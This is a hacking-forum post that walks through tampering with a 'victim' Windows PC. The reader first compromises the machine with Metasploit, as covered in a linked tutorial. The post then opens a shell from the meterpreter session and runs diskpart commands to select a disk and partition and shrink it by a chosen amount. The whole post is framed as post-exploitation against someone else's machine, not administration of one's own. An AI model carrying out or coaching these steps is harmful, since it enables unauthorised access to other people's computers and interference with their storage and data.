• We just launched and are currently in beta. Join us as we build and grow the community.

Shrink the Partition of Remote Windows PC

mariosco

Technical SEO Ninja
M Rep
0
0
0
Rep
0
M Vouches
0
0
0
Vouches
0
Posts
170
Likes
144
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 400 XP
First Hack the Victim PC Using Metasploit (Tutorial How to Hack Remote PC)

Once you got the meterpreter session use ‘shell ‘command to get command prompt of the target.

Type Diskpart in command prompt and press Enter key

Then type List disk and press enter, this will show you list of all drives

1.png


Now select the drive typically, in Windows 7, this should be disk 0 and partition 2, but please make sure you do select the right disk and partition before continuing

Select disk 0

Select partition 2

2.png


Now type shrink querymax this command will return the maximum number of bytes that the volume can be reduced

To perform a shrink to a certain amount, add the desired parameter with the number of megabytes by which to shrink. Shrink desired=2000

You may check the new partition size by running the list command, again. List partition

3.png
 

438,622

315,778

315,787

Top